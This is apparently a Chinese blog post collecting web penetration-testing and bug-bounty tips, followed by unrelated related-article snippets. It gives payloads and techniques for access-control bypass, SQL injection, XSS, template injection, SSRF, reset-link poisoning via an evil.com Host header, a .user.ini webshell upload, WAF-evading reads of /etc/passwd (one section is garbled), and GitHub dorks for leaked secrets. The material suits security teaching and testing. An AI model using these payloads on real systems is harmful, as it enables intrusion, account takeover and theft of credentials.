当前位置: 首页 > news >正文

渗透测试漏洞挖掘技巧

文章目录

  • 一、使用.json进行敏感数据泄漏
  • 二、如何查找身份验证绕过漏洞
  • 三、在Drupal上找到隐藏的页面
  • 四、遗忘的数据库备份
  • 五、电子邮件地址payloads
  • 六、HTTP主机头:localhost
  • 七、通过篡改URI访问管理面板
  • 八、通过URL编码空格访问管理面板
  • 九、篡改URI绕过403
  • 十、Bypass401、403
  • 十一、文件上传引申其他漏洞
  • 十二、文件上传.user.ini绕过
  • 十三、密码中毒绕过账户接管
  • 十四、查看源代码来查找LFI
  • 十五、在访问admin路径面板时可以通过添加%20来绕过
  • 十六、使用通配符绕Waf
  • 十七、绕过邮件过滤导致Sql注入
  • 十八、手机发送短信时间被限制
  • 十九、图片验证码
  • 二十、模板注入
  • 二十一、使用github dorks帮助我们寻找一些敏感信息

一、使用.json进行敏感数据泄漏

这是使用.json扩展名实现敏感数据泄漏的提示。
请求:GET /ResetPassword HTTP/1.1{“email”:“victim@example.com”}
响应:HTTP/1.1 200 OK

e.g.
请求:GET /ResetPassword.json HTTP/1.1{“email”:“victim@example.com”}
响应:HTTP/1.1 200 OK{“success”:“true”,“token”:“596a96-cc7bf-9108c-d896f-33c44a-edc8a”}
请注意,在我们的请求中添加了.json扩展名,这导致获得了秘密令牌!

二、如何查找身份验证绕过漏洞

这是一个有趣的提示,可以帮助您找到身份验证绕过漏洞:
请求:GET /delete?user=test HTTP/1.1
响应:HTTP/1.1 401 Unauthorized

现在让我们尝试一下:
请求:GET /delete?user=test HTTP/1.1 X-Custom-IP-Authorization: 127.0.0.1
响应:HTTP/1.1 302 Found
这在前端使用添加的自定义HTTP标头(X-Custom-IP-Authorization)的情况下可能有效-例如,当它用于标识通过负载均衡器连接到Web服务器的客户端的原始IP地址时。
通过将自己标识为127.0.0.1,我们可以规避Web应用程序的访问控制并执行特权操作。

三、在Drupal上找到隐藏的页面

如果您正在Drupal网站上找漏洞,在‘/node/ ’上使用 B u r p S u i t e I n t r u d e r (或其他类似工具)进行模糊测试,其中’ ’ 上使用Burp Suite Intruder(或其他类似工具)进行模糊测试,其中’ 上使用BurpSuiteIntruder(或其他类似工具)进行模糊测试,其中’是一个数字(从1到500)。
例如:
https://target.com/node/1
https://target.com/node/2
https://target.com/node/3

https://target.com/node/499
https://target.com/node/500
很有可能我们会找到搜索引擎未引用的隐藏页面(测试,开发)。

四、遗忘的数据库备份

这是使用此小型但快速的模糊列表查找数据库备份的list:
/back.sql
/backup.sql
/accounts.sql
/backups.sql
/clients.sql
/customers.sql
/data.sql
/database.sql
/database.sqlite
/users.sql
/db.sql
/db.sqlite
/db_backup.sql
/dbase.sql
/dbdump.sql
setup.sql
sqldump.sql
/dump.sql
/mysql.sql
/sql.sql
/temp.sql
旧的数据库转储可能包含各种敏感信息-用户凭证,配置设置,机密和api密钥,客户数据等。

五、电子邮件地址payloads

以下有效载荷都是有效的电子邮件地址,我们不仅可以用于基于Web的电子邮件系统的渗透测试。
XSS(跨站脚本):
test+(”@example.com
模板注入:
“<%=7 * 7 %>”@example.com
test+(${{7*7}})@example.com
SQL注入
“'OR 1=1 – '”@example.com
“mail’);DROP TABLE users;–”@example.com
SSRF(服务器端请求伪造):
john.doe@abc123.burpcollaborator.net
john.doe@[127.0.0.1]
参数污染:
victim&email=attacker@example.com
(电子邮件)标头注入:
“%0d%0aContent-Length:%200%0d%0a%0d%0a”@example.com
“recipient@test.com>\r\nRCPTTO:<victim+”@test.com

六、HTTP主机头:localhost

在目录爆破中将“ Host”标头设置为“ localhost”,结果可能令人惊讶!您可能可以访问:
特殊功能
内部端口
配置文件,SSL密钥
目录列表,等等…
我们甚至可以更进一步,通过执行虚拟主机枚举来尝试标识目标Web服务器上托管的所有站点。使用以下工具:
https://github.com/ffuf/ffuf
https://nmap.org/nsedoc/scripts/http-vhosts.html
https://github.com/jobertabma/virtual-host-discovery
注意,我们也可以使用curl或wget:
curl-v -H “Host: localhost” https://target/
wget-d --header=“Host: localhost” https://target/

七、通过篡改URI访问管理面板

这是通过以下方式篡改URI来访问管理面板的超级简单技巧:
https://target.com/admin/ –> HTTP 302(重定向到登录页面)
https://target.com/admin…;/ –> HTTP 200 OK
也尝试以下技巧,其他人对此推文发表了评论:
https://target.com/…/admin
https://target.com/whatever/…;/admin

八、通过URL编码空格访问管理面板

通过篡改URI并添加额外的空格(%20)来帮助访问受限区域
target.com/admin –> HTTP 302 (重定向到登陆页面)
target.com/admin%20/ -> HTTP 200 OK
target.com/%20admin%20/ -> HTTP 200 OK
target.com/admin%20/page -> HTTP 200 OK
作者能够使用此技巧来发现“身份验证和会话管理”损坏的问题,并访问目标Web应用程序中的管理面板。后端Web服务器是Apache HTTP服务器,但是它也可以在其他地方工作。
Protip:还检查与此非常相似的先前发布的提示(BBT4-5,BBT4-6)。

九、篡改URI绕过403

该技巧与上一个技巧非常相似。通过篡改URI,我们也许可以绕过应用程序的访问控制:
site.com/secret –>禁止HTTP 403
site.com/secret/ ->HTTP 200 OK
site.com/secret/。 –> HTTP 200 ok
site.com//secret// ->HTTP 200 OK
site.com/./secret/… –> HTTP 200 OK
很少见到,但可以尝试一下。

十、Bypass401、403

以下是有关如何绕过403禁止和401未经授权错误的提示列表:
1、通过添加headers:X-Originating-IP,X-Remote-IP,X-Client-IP,X-Forwarded-For等。有时,公司将那些可以访问敏感数据的IP列入白名单。这些标头将IP地址作为值,如果提供的IP与白名单中的IP地址匹配,则您可以访问资源。
2、使用Unicode字符:尝试插入Unicode字符以绕过防御。尝试例如 ℀ = ca,℁= sa以及其他许多选项(在此处或此处检查)。因此,如果/cadmin被阻止,请尝试访问 ℀dmin。检查这对Unicode的黑客技巧短期YouTube视频的更多细节。
3、通过覆盖,用标头覆盖URL:如果GET /admin给您403 Forbidden,请尝试GET /accessible(任何可访问的端点)并添加以下任何HTTP标头:
X-Original-URL: /admin
X-Override-URL: /admin
X-Rewrite-URL: /admin
4、尝试不同的负载:如果GET /admin有403 Forbidden,请尝试访问:
/accessible/…;/admin
/.;/admin
/admin;/
/admin/~
/./admin/./
/admin?param
/%2e/admin
/admin#
5、方法切换:将方法从GET更改为POST,然后看是否有所收获。
6、通过IP,Vhost:通过其IP或Vhost访问该站点以获取禁止的内容。
7、模糊化:进一步对文件或目录进行暴力处理。
Tips:还要检查与此有关的先前发布的提示:Tips-6-6,Tips-4-5和Tips-4-6。

十一、文件上传引申其他漏洞

在Web应用程序中测试文件上传功能时,请尝试将文件名设置为以下值:
…/…/…/tmp/lol.png —> for path traversal
sleep(10)-- -.jpg —> for SQL injection
.jpg/png —> for XSS

; sleep 10; —> for command injections

使用这些Payload,我们可能会触发其他漏洞。

十二、文件上传.user.ini绕过

先上传一个以auto_prepend_file=1.gif为内容的.user.ini文件【用户自定义的配置文件】。.user.ini文件里的意思是:所有的php文件都自动包含1.gif文件,.user.ini相当于一个用户自定义的php.ini。然后再上传一个内容为一句话木马的命名为1.gif的文件。上传成功之后,用webshell管理工具添加该图片的路径,但该图片名改为当前目录下的php文件,例如readme.php,输入密码连接成功
有关 .user.ini 的参考请看:https://blog.csdn.net/weixin_52635170/article/details/126962920

十三、密码中毒绕过账户接管

该漏洞赏金提示演示了密码重置功能的绕过技术,该功能可能会导致ATO(帐户接管)。
考虑以下3个请求:
1、正常要求:
Request:
POST /password-reset?user=123 HTTP/1.1
Host: target.com
Link received:
https://target.com/reset-link=1g2f3guy23g
2、基本HHI(主机头注入):
Request:
POST /password-reset?user=123 HTTP/1.1
Host: evil.com
Link received:
none
Error 404 - request blocked
3、Bypass
Request:
POST https://target.com/password-reset?user=123 HTTP/1.1
Host: evil.com
Link received:
https://evil.com/reset-link=1g2f3guy23g
注意,在绕过中,我们在POST请求中使用了绝对URL。在这种情况下,应完全忽略Host标头。但是,某些后端系统仍会处理它,而前端系统则不处理-只是不一致。
如果成功,这可能会导致严重性较高的错误,从而导致重置令牌泄漏,进而导致帐户接管和特权升级。这是一个真实的错误报告,详细描述了影响。

十四、查看源代码来查找LFI

此漏洞赏金提示对于使用Web浏览器呈现输入到它们的URL的Web应用程序很有用。例如,这可能是Web应用程序的广告预览/数据验证功能。
它也可能是一个Web应用程序,它将获取您的URL并为您截屏。您可以在服务器端呈现URL的任何地方找到它。
好了,现在的实际提示是:
作为一个漏洞搜寻者,您将尝试访问“ file:///etc/passwd”,对吗?但是,如果它被列入黑名单或以某种方式被阻止怎么办?尝试改为访问“ view-source:file:///etc/passwd”!
开发人员经常在黑名单中忘记“查看源代码”功能。

十五、在访问admin路径面板时可以通过添加%20来绕过

target.com/admin –> HTTP 302 (重定向到登录页面)
target.com/admin%20/ -> HTTP 200 OK
target.com/%20admin%20/ -> HTTP 200 OK
target.com/admin%20/page -> HTTP 200 OK

十六、使用通配符绕Waf

如果有WAF(Web应用程序防火墙)过滤您的RCE(远程代码执行)和LFI(本地文件包含)payload(有效负载),则可以尝试使用通配符绕过它。
这是一个例子:
/usr/bin/cat /etc/passwd == /???/???/c?t$IFS/?t?/p?s?wd
Globbing是模式扩展的一种形式,用于匹配特定路径,并且使用以下通配符来实现:
? = any single character

  • = any string, including zero length string!
    Globbing可以在所有流行的平台上使用,包括Windows(CMD,PowerShell),UNIX和Mac。在UNIX平台上,我们还可以使用$ IFS特殊变量替换空白:
    I F S = I n t e r n a l F i e l d S e p a r a t o r = [ s p a c e ] , [ t a b ] o r a [ n e w l i n e ] 例如,所有这些都应在典型的 L i n u x 系统上执行“ / b i n / c a t / e t c / p a s s w d ”: / ∗ / ? a t IFS = Internal Field Separator = [space], [tab] or a [newline] 例如,所有这些都应在典型的Linux系统上执行“/bin/cat/etc/passwd”: /*/?at IFS=InternalFieldSeparator=[space],[tab]ora[newline]例如,所有这些都应在典型的Linux系统上执行“/bin/cat/etc/passwd//?atIFS/???/???swd
    /****/?at I F S / ? ? ? / ∗ s w d / ∗ ∗ ∗ ∗ / ? a t IFS/???/*swd /****/?at IFS/???/swd//?atIFS/???/*******swd

十七、绕过邮件过滤导致Sql注入

在这里插入图片描述在这里插入图片描述

在本示例中,作者可以确定数据库名称的长度为10个字符,作为概念证明。通过使用Sqlmap将其自动化,可以转储整个数据库,甚至可以实现RCE并获得shell程序,具体取决于数据库后端。
请注意,SQL注入是通过将引号(“)放在at(@)字符之前触发的,此处:
“injection_here”@example.com
带引号的电子邮件地址是有效的电子邮件地址,请参阅RFC3696中对电子邮件地址的限制。

十八、手机发送短信时间被限制

手机发送短信时间限制的话,可以在手机号前尝试使用特殊字符,或空格。他的逻辑应该是这样的,用户输入手机号——>后端判断该手机号是否在30秒或者60秒内请求过——>如果没有,判断发送过来的手机号是够是11位的纯数字,如果不是,去掉非数字字符——>和数据库中的手机号比对,是够存在于数据库中,如果存在那么向该手机发送验证码。

十九、图片验证码

图片验证码可设置为空,如:code=undefined

二十、模板注入

在{{xxx}}中输入的命令参数可被执行,如:
www.baidu.com/{{1+1}}

二十一、使用github dorks帮助我们寻找一些敏感信息

比如:
extension:pem private
extension:ppk private
extension:sql mysql dump password
extension:json api.forecast.io
extension:json mongolab.com
extension:yaml mongolab.com
extension:ica [WFClient] Password=
extension:avastlic “support.avast.com”
extension:js jsforce conn.login
extension:json googleusercontent client_secret
“target.com” send_keys
“target.com” password
“target.com” api_key
“target.com” apikey
“target.com” jira_password
“target.com” root_password
“target.com” access_token
“target.com” config
“target.com” client_secret
“target.com” user auth
通过上述语法,可以搜索到一些敏感的私钥,一些SSH登录私钥,mysql的数据库密码,API key等等。
另外推荐一个脚本:https://github.com/techgaun/github-dorks

相关文章:

渗透测试漏洞挖掘技巧

文章目录 一、使用.json进行敏感数据泄漏二、如何查找身份验证绕过漏洞三、在Drupal上找到隐藏的页面四、遗忘的数据库备份五、电子邮件地址payloads六、HTTP主机头&#xff1a;localhost七、通过篡改URI访问管理面板八、通过URL编码空格访问管理面板九、篡改URI绕过403十、Byp…...

Nginx - 反向代理与负载均衡

目录 一、Nginx 1.1、Nginx 下载 1.2、nginx 基础配置的认识 a&#xff09;第一部分&#xff1a;全局块 b&#xff09;第二部分&#xff1a;events 块 c&#xff09;第三部分&#xff1a;http 块 http 块中 内嵌的 server 块 1.3、一些常用配置 1.3.1、location 匹配级…...

Linux网络编程系列之UDP组播

一、什么是UDP组播 UDP组播是指使用用户数据报协议&#xff08;UDP&#xff09;实现的组播方式。组播是一种数据传输方式&#xff0c;允许单一数据包同时传输到多个接收者。在UDP组播中&#xff0c;一个数据包可以被多个接收者同时接收&#xff0c;这样可以降低网络传输的负载和…...

设计模式~状态模式(state)-23

目录 (1)优点&#xff1a; (2)缺点&#xff1a; (3)使用场景&#xff1a; (4)注意事项&#xff1a; (5)应用实例&#xff1a; 代码 在状态模式&#xff08;State Pattern&#xff09;中&#xff0c;类的行为是基于它的状态改变的。这种类型的设计模式属于行为型模式。在状…...

linux环境下使用lighthouse与selenium

一、安装谷歌浏览器、谷歌浏览器驱动、lighthouse shell脚本 apt update && apt -y upgrade apt install -y curl curl -fsSL https://deb.nodesource.com/setup_18.x | bash apt install -y nodejs apt install -y npm npm install -g lighthouse apt-get install -y …...

NeuroImage | 右侧颞上回在语义规则学习中的作用:来自强化学习模型的证据

在现实生活中&#xff0c;许多规则的获取通常需要使用语言作为桥梁&#xff0c;特别是语义在信息传递中起着至关重要的作用。另外&#xff0c;个体使用的语言往往具有明显的奖励和惩罚元素&#xff0c;如赞扬和批评。一种常见的规则是寻求更多的赞扬&#xff0c;同时避免批评。…...

uni-app编程checkbox-group获取选中的每个checkbox的value值

uni-app编程checkbox-group获取选中的每个checkbox的value值_uniappcheckboxvalue-CSDN博客...

数组——螺旋矩阵II

文章目录 一、题目二、题解 题目顺序&#xff1a;代码随想录算法公开课&#xff0c;b站上有相应视频讲解 一、题目 59. Spiral Matrix II Given a positive integer n, generate an n x n matrix filled with elements from 1 to n2 in spiral order. Example 1: Input: n …...

反范式化设计

反范式化设计与范式化设计相对立。范式化设计是将数据组织成多个表&#xff0c;以最小化数据的冗余和提高数据一致性。相反&#xff0c;反范式化设计是故意增加冗余&#xff0c;以提高查询性能和降低复杂性。反范式化设计通常用于需要高度优化的读取密集型应用程序&#xff0c;…...

CCF CSP认证 历年题目自练Day31

题目一 试题编号&#xff1a; 202206-1 试题名称&#xff1a; 归一化处理 时间限制&#xff1a; 500ms 内存限制&#xff1a; 512.0MB 题目背景 在机器学习中&#xff0c;对数据进行归一化处理是一种常用的技术。 将数据从各种各样分布调整为平均值为 0、方差为 1的标准分布&a…...

PCL点云处理之从两片点云中获取具有匹配关系的同名点对 (二百一十八)

PCL点云处理之从两片点云中获取具有匹配关系的同名点对 (二百一十八) 一、算法介绍二、算法实现1.代码2.效果一、算法介绍 点云配准的前提是,我们知道或者预测了一些匹配对,我们认为这些匹配对就是两片点云中的同名点,同名点就是由于激光扫描存在误差的关系,导致同一地物…...

MySQL Row size too large (> 8126)

错误信息 ERROR 1118 (42000) at line 901: Row size too large (> 8126). Changing some columns to TEXT or BLOB or using ROW_FORMATDYNAMIC or ROW_FORMATCOMPRESSED may help. In current row format, BLOB prefix of 768 bytes is stored inline. 错误原因 这个问题…...

HUAWEI(26)——防火墙双机热备

一、拓扑 二、需求 PC2 ping PC1 FW1与FW2双机热备,FW1为active,FW2为Standby,抢占延时1s VRRP 三、配置 1.IP地址,防火墙接口加入区域 防火墙用户名:admin 防火墙旧密码:Admin@123 防火墙新密码:admin@123 [FW1]interface GigabitEthernet 1/0/0 [FW1-GigabitEthe…...

【ArcGIS】NDVI估算植被覆盖度FVC

NDVI估算植被覆盖度FVC NDVI计算植被覆盖度FVC计算NDVI估算植被覆盖度FVC操作步骤Step1&#xff1a;调出栅格计算器工具Step2:查找NDVIStep3: 参考 NDVI计算 植被覆盖度FVC计算 NDVI估算植被覆盖度FVC操作步骤 Step1&#xff1a;调出栅格计算器工具 1、首先打开软件&#x…...

vscode用密钥文件连接ssh:如果一直要输密码怎么办

commandshiftP&#xff1a;打开ssh配置文件 加上这么一段&#xff0c;host就是你给主机起的名字 对IdentityFile进行更改&#xff0c;改成相应的密钥文件 然后commandshiftP链接到主机就可以了 但是有时候它会让输入密码 这是由于你给这个IdentityFile的权限太多了&#xf…...

【AI视野·今日Robot 机器人论文速览 第五十三期】Thu, 12 Oct 2023

AI视野今日CS.Robotics 机器人学论文速览 Thu, 12 Oct 2023 Totally 25 papers &#x1f449;上期速览✈更多精彩请移步主页 Daily Robotics Papers Pixel State Value Network for Combined Prediction and Planning in Interactive Environments Authors Sascha Rosbach, St…...

【LeetCode第115场双周赛】100029. 和带限制的子多重集合的数目 | 前缀和背包 | 中等

题目内容 原题链接 给定一个长度为 n n n 的数组 n u m s nums nums 和一个区间左右端点 [ l , r ] [l,r] [l,r] 。 返回 n u m s nums nums 中子多重集合的和在闭区间 [ l , r ] [l, r] [l,r] 之间的 子多重集合的数目 。 子多重集合 指的是从数组中选出一些元素构成的 …...

ArcGIS笔记5_生成栅格文件时保存报错怎么办

本文目录 前言Step 1 直接保存到指定文件夹会报错Step 2 先保存到默认位置再数据导出到指定文件夹 前言 有时生成栅格文件时&#xff0c;保存在自定义指定的文件夹内会提示出错&#xff0c;而保存到默认位置则没有问题。因此可以通过先保存到默认位置&#xff0c;再数据导出到…...

YOLO目标检测——跌倒摔倒数据集【含对应voc、coco和yolo三种格式标签】

实际项目应用&#xff1a;公共安全监控、智能家居、工业安全等活动区域无监管情况下的人员摔倒事故数据集说明&#xff1a;YOLO目标检测数据集&#xff0c;真实场景的高质量图片数据&#xff0c;数据场景丰富。使用lableimg标注软件标注&#xff0c;标注框质量高&#xff0c;含…...

uniapp小程序实现绘制内容,生成海报并保存截图(Painter和Canvas两种方式举例)

一、Painter方法 Painter插件传送门 1.下载资源包 2.将资源包的如下部分 3.使用页面引入组件 ui样式 <paintercustomStyle=margin-left: 40rpx; height: 1000rpx;palette="{{palette}}"bind:imgOK="onImgOK"/>data 中数据(绘制内容,替换区域) pai…...

Vim 调用外部命令学习笔记

Vim 外部命令集成完全指南 文章目录 Vim 外部命令集成完全指南核心概念理解命令语法解析语法对比 常用外部命令详解文本排序与去重文本筛选与搜索高级 grep 搜索技巧文本替换与编辑字符处理高级文本处理编程语言处理其他实用命令 范围操作示例指定行范围处理复合命令示例 实用技…...

Leetcode 3576. Transform Array to All Equal Elements

Leetcode 3576. Transform Array to All Equal Elements 1. 解题思路2. 代码实现 题目链接&#xff1a;3576. Transform Array to All Equal Elements 1. 解题思路 这一题思路上就是分别考察一下是否能将其转化为全1或者全-1数组即可。 至于每一种情况是否可以达到&#xf…...

【人工智能】神经网络的优化器optimizer(二):Adagrad自适应学习率优化器

一.自适应梯度算法Adagrad概述 Adagrad&#xff08;Adaptive Gradient Algorithm&#xff09;是一种自适应学习率的优化算法&#xff0c;由Duchi等人在2011年提出。其核心思想是针对不同参数自动调整学习率&#xff0c;适合处理稀疏数据和不同参数梯度差异较大的场景。Adagrad通…...

day52 ResNet18 CBAM

在深度学习的旅程中&#xff0c;我们不断探索如何提升模型的性能。今天&#xff0c;我将分享我在 ResNet18 模型中插入 CBAM&#xff08;Convolutional Block Attention Module&#xff09;模块&#xff0c;并采用分阶段微调策略的实践过程。通过这个过程&#xff0c;我不仅提升…...

抖音增长新引擎:品融电商,一站式全案代运营领跑者

抖音增长新引擎&#xff1a;品融电商&#xff0c;一站式全案代运营领跑者 在抖音这个日活超7亿的流量汪洋中&#xff0c;品牌如何破浪前行&#xff1f;自建团队成本高、效果难控&#xff1b;碎片化运营又难成合力——这正是许多企业面临的增长困局。品融电商以「抖音全案代运营…...

学校招生小程序源码介绍

基于ThinkPHPFastAdminUniApp开发的学校招生小程序源码&#xff0c;专为学校招生场景量身打造&#xff0c;功能实用且操作便捷。 从技术架构来看&#xff0c;ThinkPHP提供稳定可靠的后台服务&#xff0c;FastAdmin加速开发流程&#xff0c;UniApp则保障小程序在多端有良好的兼…...

土地利用/土地覆盖遥感解译与基于CLUE模型未来变化情景预测;从基础到高级,涵盖ArcGIS数据处理、ENVI遥感解译与CLUE模型情景模拟等

&#x1f50d; 土地利用/土地覆盖数据是生态、环境和气象等诸多领域模型的关键输入参数。通过遥感影像解译技术&#xff0c;可以精准获取历史或当前任何一个区域的土地利用/土地覆盖情况。这些数据不仅能够用于评估区域生态环境的变化趋势&#xff0c;还能有效评价重大生态工程…...

鱼香ros docker配置镜像报错:https://registry-1.docker.io/v2/

使用鱼香ros一件安装docker时的https://registry-1.docker.io/v2/问题 一键安装指令 wget http://fishros.com/install -O fishros && . fishros出现问题&#xff1a;docker pull 失败 网络不同&#xff0c;需要使用镜像源 按照如下步骤操作 sudo vi /etc/docker/dae…...

ABAP设计模式之---“简单设计原则(Simple Design)”

“Simple Design”&#xff08;简单设计&#xff09;是软件开发中的一个重要理念&#xff0c;倡导以最简单的方式实现软件功能&#xff0c;以确保代码清晰易懂、易维护&#xff0c;并在项目需求变化时能够快速适应。 其核心目标是避免复杂和过度设计&#xff0c;遵循“让事情保…...

Java 二维码

Java 二维码 **技术&#xff1a;**谷歌 ZXing 实现 首先添加依赖 <!-- 二维码依赖 --><dependency><groupId>com.google.zxing</groupId><artifactId>core</artifactId><version>3.5.1</version></dependency><de…...